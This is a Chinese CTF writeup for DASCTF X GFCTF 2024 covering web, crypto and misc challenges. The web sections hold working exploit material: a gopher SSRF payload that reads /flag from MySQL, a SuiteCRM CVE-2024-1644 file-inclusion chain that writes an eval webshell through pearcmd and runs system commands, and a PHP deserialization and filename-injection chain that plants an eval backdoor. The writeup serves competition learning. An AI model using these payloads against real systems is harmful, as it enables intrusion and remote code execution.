WriteUp
April 30, 2024

DASCTF X GFCTF 2024 Writeup

队伍名称

HnuSec

排名

19 名

解题思路

WEB

cool_index

签到题，关键逻辑

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app.post("/article", (req, res) => {
    const token = req.cookies.token;
    if (token) {
        try {
            const decoded = jwt.verify(token, JWT_SECRET);
            let index = req.body.index;
            if (req.body.index < 0) {
                return res.status(400).json({ message: "你知道我要说什么" });
            }
            if (decoded.subscription !== "premium" && index >= 7) {
                return res
                    .status(403)
                    .json({ message: "订阅高级会员以解锁" });
            }
            index = parseInt(index);
            if (Number.isNaN(index) || index > articles.length - 1) {
                return res.status(400).json({ message: "你知道我要说什么" });
            }

            return res.json(articles[index]);
        } catch (error) {
            res.clearCookie("token");
            return res.status(403).json({ message: "重新登录罢" });
        }
    } else {
        return res.status(403).json({ message: "未登录" });
    }
});

前面有一堆jwt但实际上都无伤大雅，关键在于这个parseInt以及nodejs的弱类型比较。
我们的目标是访问到第七页，但是if (decoded.subscription !== "premium" && index >= 7) {
这条判断让我们无法通过，绕过很简单，index=7a

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POST /article HTTP/1.1
Host: c11ecb80-b958-49f7-af22-5d7cd4552a46.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Origin: http://c11ecb80-b958-49f7-af22-5d7cd4552a46.node5.buuoj.cn:81
Referer: http://c11ecb80-b958-49f7-af22-5d7cd4552a46.node5.buuoj.cn:81/
Accept-Language: zh-CN,zh;q=0.9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InBvcCIsInN1YnNjcmlwdGlvbiI6Imd1ZXN0IiwiaWF0IjoxNzEzNjIxMzQ5LCJleHAiOjE3MTM3MDc3NDl9.LtXseEZrvF4cBbm9qIVv6DzKY8bDC_z8AJeWXkXJQh4
Accept-Encoding: gzip, deflate
Content-Length: 13

{"index":"7a"}

image.png

EasySignin

先注册个账号。
image.png
提示我们不能查看图片，猜测是需要管理员，加上后台有个修改密码的接口，盲猜是任意密码重置
image.png
admin密码重置成功。接下来就去登录admin
image.png
这里应该是个ssrf的接口了，经过fuzz只可以使用gopher协议和http协议，我们可以用http协议探测内网
image.png
访问3306端口有回显，内容如下

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J\x00\x00\x00
5.7.29\x00\x07\x00\x00\x00>}Oy\x15\x15%^\x00\xff\xf7\x08\x02\x00\xff\x81\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Dt>v>?6\x1aJgYx\x00mysql_native_password\x00\x1b\x00\x00\x01\xff\x84\x04Got packets out of order

低版本mysql，最终结合gopher协议读取flag文件
gopherus生成payload
image.png
别忘了二次编码最终payload如下

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gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2524%2500%2500%2500%2503%2575%2573%2565%2520%2574%2565%2573%2574%253b%2573%2565%256c%2565%2563%2574%2520%256c%256f%2561%2564%255f%2566%2569%256c%2565%2528%2527%252f%2566%256c%2561%2567%2527%2529%253b%2501%2500%2500%2500%2501

image.png

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J\x00\x00\x00
5.7.29\x00\x08\x00\x00\x00hT\x1a\x1f\x14r	>\x00\xff\xf7\x08\x02\x00\xff\x81\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!`\x16S%\x06X\x18SLh\x00mysql_native_password\x00\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00
@\x00\x00\x00\x07\x01\x05\x04test\x01\x00\x00\x02\x01(\x00\x00\x03\x03def\x00\x00\x00\x12load_file('/flag')\x00?\x00\x00\x00\x00\x01\xfb\x80\x00\x1f\x00\x00.\x00\x00\x04-DASCTF{715d9012-12fe-42ce-ae83-18fd4285e99b}
\x07\x00\x00\x05\xfe\x00\x00\x02\x00\x00\x00

最终得到flag

SuiteCRM

没给hint前以为是代码审计题，麻了，最后放hint发现是个简单题，当时犹豫安恒平台的问题导致可能就1解吧。
CVE-2024-1644
https://github.com/salesagility/SuiteCRM/
根据视频的操作，存在本地文件包含，而且题目又是docker环境，很容易想到pearcmd文件包含

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// LegacyRedirectHandler.php
public function getIncludeFile(Request $request): array {
    $baseUrl = $request->getPathInfo(); // Anything after the index.php file

    $baseUrl = substr($baseUrl, 1);

    if (strpos($baseUrl, '.php') === false) {
        $baseUrl .= 'index.php';
    }

    return [
        'dir' => '',
        'file' => $baseUrl, // Arbitrary path (with custom wrapper)
        'access' => true
    ];
}

漏洞点在于这里，他会对index.php后面的内容本地文件包含。
image.png
可以看到返回200了，这一注意是81端口，接下里我们就pear包含，正常流程

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GET /index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php HTTP/1.1
Host: ce1caa59-d343-4360-8aea-c775d17a6d63.node5.buuoj.cn:81
Accept-Encoding: gzip, deflate
Cookie: LEGACYSESSID=81be055d743282032824d844121dba45; PHPSESSID=04d03e295b41e5622836f3b122e3b963; XSRF-TOKEN=ynCnaUpuQzEUurP2Ak5z9Px7yPb3ywqTxShSRt26LAE; ck_login_id_20=8a4b0568-268c-9812-73b3-65e88ae3bac3; ck_login_language_20=zh_CN; sugar_user_theme=suite8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Referer: http://ce1caa59-d343-4360-8aea-c775d17a6d63.node5.buuoj.cn:81/


image.png
成功创建test.php，最后本地包含rce即可

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POST /index.php//tmp/test.php HTTP/1.1
Host: ce1caa59-d343-4360-8aea-c775d17a6d63.node5.buuoj.cn:81
Accept-Encoding: gzip, deflate
Cookie: LEGACYSESSID=81be055d743282032824d844121dba45; PHPSESSID=04d03e295b41e5622836f3b122e3b963; XSRF-TOKEN=ynCnaUpuQzEUurP2Ak5z9Px7yPb3ywqTxShSRt26LAE; ck_login_id_20=8a4b0568-268c-9812-73b3-65e88ae3bac3; ck_login_language_20=zh_CN; sugar_user_theme=suite8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Referer: http://ce1caa59-d343-4360-8aea-c775d17a6d63.node5.buuoj.cn:81/
Content-Type: application/x-www-form-urlencoded

cmd=system('cat /flag');

image.png

Web1234（赛后解）

开局www.zip泄露
index.php

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<?php
error_reporting(0);
include "class.php";

$Config = unserialize(file_get_contents("/tmp/Config"));

foreach($_POST as $key=>$value){
    if(!is_array($value)){
        $param[$key] = addslashes($value);
    }
}

if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd){
    $Admin = new Admin($Config);
    if($_POST['m'] === 'edit'){
        
        $avatar['fname'] = $_FILES['avatar']['name'];
        $avatar['fdata'] = file_get_contents($_FILES['avatar']['tmp_name']);
        $nickname = $param['nickname'];
        $sex = $param['sex'];
        $mail = $param['mail'];
        $telnum = $param['telnum'];

        $Admin->editconf($avatar, $nickname, $sex, $mail, $telnum);
    }elseif($_POST['m'] === 'reset') {
        $Admin->resetconf();
    }
}else{
    die("pls login! :)");
}

class.php

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<?php

class Admin{

    public $Config;

    public function __construct($Config){
        //安全获取基本信息，返回修改配置的表单
        $Config->nickname = (is_string($Config->nickname) ? $Config->nickname : "");
        $Config->sex = (is_string($Config->sex) ? $Config->sex : "");
        $Config->mail = (is_string($Config->mail) ? $Config->mail : "");
        $Config->telnum = (is_string($Config->telnum) ? $Config->telnum : "");
        $this->Config = $Config;

        echo '    <form method="POST" enctype="multipart/form-data">
        <input type="file" name="avatar" >
        <input type="text" name="nickname" placeholder="nickname"/>
        <input type="text" name="sex" placeholder="sex"/>
        <input type="text" name="mail" placeholder="mail"/>
        <input type="text" name="telnum" placeholder="telnum"/>
        <input type="submit" name="m" value="edit"/>
    </form>';
    }

    public function editconf($avatar, $nickname, $sex, $mail, $telnum){
        //编辑表单内容
        $Config = $this->Config;

        $Config->avatar = $this->upload($avatar);
        $Config->nickname = $nickname;
        $Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");
        $Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");
        $Config->telnum = substr($telnum, 0, 11);
        $this->Config = $Config;

        file_put_contents("/tmp/Config", serialize($Config));

        if(filesize("record.php") > 0){
            [new Log($Config),"log"]();
        }
    }

    public function resetconf(){
        //返回出厂设置
        file_put_contents("/tmp/Config", base64_decode('Tzo2OiJDb25maWciOjc6e3M6NToidW5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjMyOiI1MGI5NzQ4Mjg5OTEwNDM2YmZkZDM0YmRhN2IxYzlkOSI7czo2OiJhdmF0YXIiO3M6MTA6Ii90bXAvMS5wbmciO3M6ODoibmlja25hbWUiO3M6MTU6IuWwj+eGiui9r+ezlk92TyI7czozOiJzZXgiO3M6Mzoi5aWzIjtzOjQ6Im1haWwiO3M6MTU6ImFkbWluQGFkbWluLmNvbSI7czo2OiJ0ZWxudW0iO3M6MTE6IjEyMzQ1Njc4OTAxIjt9'));
    }

    public function upload($avatar){
        $path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
        file_put_contents($path,$avatar['fdata']);
        return $path;
    }

    public function __wakeup(){
        $this->Config = ":(";
    }

    public function __destruct(){
        echo $this->Config->showconf();
    }
}



class Config{

    public $uname;
    public $passwd;
    public $avatar;
    public $nickname;
    public $sex;
    public $mail;
    public $telnum;

    public function __sleep(){
        echo "<script>alert('edit conf success\\n";
        echo preg_replace('/<br>/','\n',$this->showconf());
        echo "')</script>";
        return array("uname","passwd","avatar","nickname","sex","mail","telnum");
    }

    public function showconf(){
        $show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";
        $show .= "nickname: $this->nickname<br>";
        $show .= "sex: $this->sex<br>";
        $show .= "mail: $this->mail<br>";
        $show .= "telnum: $this->telnum<br>";
        return $show;
    }

    public function __wakeup(){
        if(is_string($_GET['backdoor'])){
            $func = $_GET['backdoor'];
            $func();//:)
        }
    }

}



class Log{

    public $data;

    public function __construct($Config){
        $this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
    }

    public function __toString(){
        file_put_contents("record.php","<?php error_reporting(0); ");
        echo 123;
        if($this->data === "log_start()"){
            file_put_contents("record.php","<?php error_reporting(0); ");
        }
        return ":O";
    }

    public function log(){
        file_put_contents('record.php', $this->data, FILE_APPEND);
    }
}

这道题的思路很简单触发Log的toString方法即可，但是触发点并不是在反序列化，仔细审计一下后会发现是在序列化_sleep函数中

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public function __sleep(){
        echo "<script>alert('edit conf success\\n";
        echo preg_replace('/<br>/','\n',$this->showconf());
        echo "')</script>";
        return array("uname","passwd","avatar","nickname","sex","mail","telnum");
    }

序列化时会触发showconf函数

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public function showconf(){
       $show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";
       $show .= "nickname: $this->nickname<br>";
       $show .= "sex: $this->sex<br>";
       $show .= "mail: $this->mail<br>";
       $show .= "telnum: $this->telnum<br>";
       return $show;
   }

在file_get_contents的时候将avatar置为Log类即可触发，实现的方式也很简单，在我们的入口点会触发editconf函数，在这里面有一个upload

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public function upload($avatar){
       $path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
       file_put_contents($path,$avatar['fdata']);
       return $path;
   }

我们可以往tmp目录下写任意文件和任意文件内容，这时候我们只需要写一个sess_boogipop进去，内容是序列化字符串，就可以触发_sleep函数。POC如下

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<?php
class Admin{

    public $Config;
}



class Config{

    public $uname;
    public $passwd;
    public $avatar;
    public $nickname;
    public $sex;
    public $mail;
    public $telnum;


}



class Log{

    public $data;

}


$exp=new Config();
$sink=new Log();
$sink->data="log_start()";
$exp->avatar=$sink;
echo serialize($exp);

我们上传一个叫做sess_boogipop的文件，内容是

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aaa|O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}

这里需要注意我们要满足php session的格式aaa|bbb，题目初始密码在那一串base64里，解密后内容如下

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O:6:"Config":7:{s:5:"uname";s:5:"admin";s:6:"passwd";s:32:"50b9748289910436bfdd34bda7b1c9d9";s:6:"avatar";s:10:"/tmp/1.png";s:8:"nickname";s:15:"小熊软糖OvO";s:3:"sex";s:3:"女";s:4:"mail";s:15:"admin@admin.com";s:6:"telnum";s:11:"12345678901";}

cmd5解密出来密码是1q2w3e
image.png
然后我们上传sess_boogipop文件
image.png
然后我们输入backdoor=session_start就可以触发sleep函数，进而触发toString,记得带上PHPSESSID=boogipop,此时record.php已经有我们的内容了，我们可以考虑第二步往里面写shell了，这里注意生成的正常内容如下

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$_1713609381 = 'Edit: avatar->/tmp/, nickname->aaaaa, sex->武装直升机, mail->, telnum->';

$_1713609389 = 'Edit: avatar->/tmp/1, nickname->aaaa\', sex->武装直升机, mail->, telnum->';

由于入口加了个waf 会对引号转义，但是没有对$_FILE的filename转义，因此在文件名可以存在逃逸。文件名为1';eval($_POST[1]);#即可
image.png
image.png

Crypto

The Mystery of Math

题目是让我们输入一个逻辑式（这里我以来指代），然后会返回给我们以下信息：

1，密文：
2，模数：
3，提示：
（其中CNF(a)是a的合取范式，DNF(a)是a的析取范式）

既然是这样的话，我们肯定得利用点小trick——找一个使得的逻辑式
因为这样的话，便有：
我这里用的是这个：p∧q∧r∧s，那么对应的CNF(a)便是：**(p∧q∧r∧s)。
这样就有一部分符号所对应的随机数了
然后本以为结束了，但是发现random_pro的未知信息太多了，爆不了；所以我们可以反复交互靶机，去找到一个“除去p里的符号以外，剩下的未知信息极少**”的random_pro及tip，最后去爆破此时random_pro的未知信息所对应的随机数，计算出素数p后进行RSA解密即可。
这里比较巧合的是——我交互出只有一位不知道的random_pro，所以进行一个23次的循环就行。
exp：

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# sage10.3
from Crypto.Util.number import *
from itertools import combinations
from tqdm import tqdm
from gmpy2 import invert
"""
交互得到的信息
Please enter a proposition (up to four variables, e.g. p ∧ q): p∧q∧r∧s
random_pro: (q∧p)∧(p∧p→q)

c: 41995810424050464263591488554448329862268580803509430819016224815553338100888730896803336612673840017823427423514275862910733716684469925016536292401838549242607815557380733283312997155937593349267904769325582237443602584182267833691493238910650296499006238737051108479

n: 55175127952509866925917683580771159604579625153201086866979697201304022611177281378259399324843229832453057891022941155251249573902422749989427069699961969897437050838279218610819986530616258141599622993673644866656585227220278835105482801123826751956496319091479635337

tip: 12114630541506105101731501666541981434969941617155098749915270357037632891606470511445503452415625000000
"""
class Godel:
    def __init__(self, dict):
        self.table = ['﹁', '∨', '∧', '→', '↔', 's', '(', ')', 'p', 'q', 'r', 't']
        self.dict = dict

    def generate_dict(self, max_value=30):
        res = {}
        used = set()

        for k in self.table:
            while True:
                r = randint(1, max_value)
                if r not in used:
                    res[k] = r
                    used.add(r)
                    break

        return res

    def generate_primes(self, count, start=2):
        primes = []
        tmp = start

        while len(primes) < count:
            primes.append(tmp)
            tmp = next_prime(tmp)
        
        return primes

    def translate(self, seq):
        p = self.generate_primes(len(seq))
        gn = 1
        for c, prime in zip(seq, p):
            gn *= prime ** self.dict[c]
        return gn


c= 41995810424050464263591488554448329862268580803509430819016224815553338100888730896803336612673840017823427423514275862910733716684469925016536292401838549242607815557380733283312997155937593349267904769325582237443602584182267833691493238910650296499006238737051108479
n= 55175127952509866925917683580771159604579625153201086866979697201304022611177281378259399324843229832453057891022941155251249573902422749989427069699961969897437050838279218610819986530616258141599622993673644866656585227220278835105482801123826751956496319091479635337
tip= 12114630541506105101731501666541981434969941617155098749915270357037632891606470511445503452415625000000
p = 2
i = 0
if 1:
    table = ['﹁', '∨', '∧', '→', '↔', 's', '(', ')', 'p', 'q', 'r', 't']
    dic = {i: 0 for i in table}
    # print(dic)
    # 题目的合取范式是(p)，需要注意一下
    cs = "(p∧q∧r∧s)"
    # ds = (p∧q∧r∧s)
    for i in cs:
        if dic[i] == 0:
            while tip % p == 0:
                tip //= p
                dic[i] += 1
            p = next_prime(p)
            # print(f"{i}: {dic[i]}", end="\n")
        else:
            tip //= p**dic[i]
            p = next_prime(p)
# print(dic)
table = [i for i in range(1, 31) if i not in dic.values()]
# len(table)=23
# 给的random_pro
tar = "(q∧p)∧(p∧p→q)"
# 未知信息
tar1 = "→"
# 因为len(tar1)=1, 所以只需爆破23种可能性
for i in tqdm(table):
    dic1 = dic
    dic1[tar1] = i
    g = Godel(dic1)
    p = g.translate(tar)
    p = next_prime(p)
    if n % p == 0:
        q = n // p
        e = 65537
        d = invert(e, (p-1)*(q-1))
        print(long_to_bytes(pow(c, d, n)))
        break
# DASCTF{c5aad793-87c0-434a-89db-b750340ef842}

Misc

badmes

采用最古老的办法，人工判断，是垃圾短信输1，一直到达240分
{2D1B346F-26D0-4a4a-A020-5B1A2967AA4B}.png

tele

根据https://zhuanlan.zhihu.com/p/26797664对P2P通信标准协议之STUN的分析，我们可以轻易地找到发起者的ip
image.pngimage.png

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This post is written by Boogipop, licensed under CC BY-NC 4.0.

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